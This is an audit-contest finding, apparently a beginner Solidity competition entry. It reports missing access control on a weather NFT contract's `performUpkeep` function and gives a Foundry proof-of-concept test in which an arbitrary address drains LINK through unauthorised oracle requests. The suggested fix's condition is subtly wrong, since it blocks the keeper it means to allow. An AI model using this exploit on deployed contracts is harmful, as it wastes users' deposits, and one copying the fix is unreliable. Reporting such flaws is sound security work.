Weather Witness
First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`WeatherNft::performUpkeep` can be called by anyone with any parameter

juliancabmar

WeatherNft::performUpkeep can be called by anyone with any parameter

Description:
The performUpkeep function haven't any address or input data validation in his performData parameter, making it can be called from any address and with any parameter

Impact:

  • If the decoded performData is a valid TokenId: the related token update his wheather data.

  • If the decoded performData is not a valid TokenId: the WeatherNft contract will send a request to chainlink functions a invalid request.

  • In all scenarios, unauthorized calls to performUpkeep can waste gas and deplete the contract's LINK balance.

Proof of Concept:
Add the following to the test suite:

function testCanBeCalledByAnyoneWithAnithing() public {
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = true;
uint256 heartbeat = 12 hours;
uint256 initLinkDeposit = 5e18;
address attacker = makeAddr("attacker");
uint256 functionRouterBalance;
​
vm.startPrank(user);
​
linkToken.approve(address(weatherNft), initLinkDeposit);
​
bytes32 reqId = weatherNft.requestMintWeatherNFT{value: weatherNft.s_currentMintPrice()}(
pincode, isoCode, registerKeeper, heartbeat, initLinkDeposit
);
vm.stopPrank();
​
vm.prank(functionsRouter);
bytes memory weatherResponse = abi.encode(WeatherNftStore.Weather.RAINY);
weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");
​
uint256 userTokenId = weatherNft.s_tokenCounter();
vm.prank(user);
weatherNft.fulfillMintRequest(reqId);
​
//// If the decoded `performData` is a valid TokenId: the related token update his wheather data.
​
// Retrieve the lastFulfilledAt value
(, uint256 prevLastFulfilled,,,) = weatherNft.s_weatherNftInfo(userTokenId);
// advance some in time
vm.warp(1 hours);
​
// get the functionsRouter balance
functionRouterBalance = linkToken.balanceOf(functionsRouter);
vm.prank(attacker);
weatherNft.performUpkeep(abi.encode(userTokenId));
​
vm.prank(functionsRouter);
weatherResponse = abi.encode(WeatherNftStore.Weather.RAINY);
weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");
​
(, uint256 lastFulfilled,,,) = weatherNft.s_weatherNftInfo(userTokenId);
// Check for update
assert(prevLastFulfilled < lastFulfilled);
// Check if router balance decreased
assert(functionRouterBalance > linkToken.balanceOf(functionsRouter));
​
//// If the decoded `performData` is not a valid TokenId: the WeatherNft contract will send a request to chainlink functions a invalid request.
​
// get the functionsRouter balance
functionRouterBalance = linkToken.balanceOf(functionsRouter);
vm.prank(attacker);
weatherNft.performUpkeep(abi.encode("HELLO FRIENDS"));
​
// Check if router balance decreased
assert(functionRouterBalance > linkToken.balanceOf(functionsRouter));
}

Recommended Mitigation:
Allow only the Weather Nft Owner and the related Keeper to call performUpkeep

Example:

function performUpkeep(bytes calldata performData) external override {
uint256 _tokenId = abi.decode(performData, (uint256));
+ if (_ownerOf(_tokenId) != msg.sender || msg.sender == s_keeperRegistry) {
+ revert WeatherNft__Unauthorized();
+ }
uint256 upkeepId = s_weatherNftInfo[_tokenId].upkeepId;
​
s_weatherNftInfo[_tokenId].lastFulfilledAt = block.timestamp;
​
// make functions request
string memory pincode = s_weatherNftInfo[_tokenId].pincode;
string memory isoCode = s_weatherNftInfo[_tokenId].isoCode;
​
bytes32 _reqId = _sendFunctionsWeatherFetchRequest(pincode, isoCode);
s_funcReqIdToTokenIdUpdate[_reqId] = _tokenId;
​
emit NftWeatherUpdateRequestSend(_tokenId, _reqId, upkeepId);
}
Updates

Appeal created

bube Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can call `performUpkeep` function

The `performUpkeep` function should be called by the Chainlink keepers or owners of the NFT. But there is no access control and anyone can call the function. This leads to malicious consumption of the user's LINK deposit.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.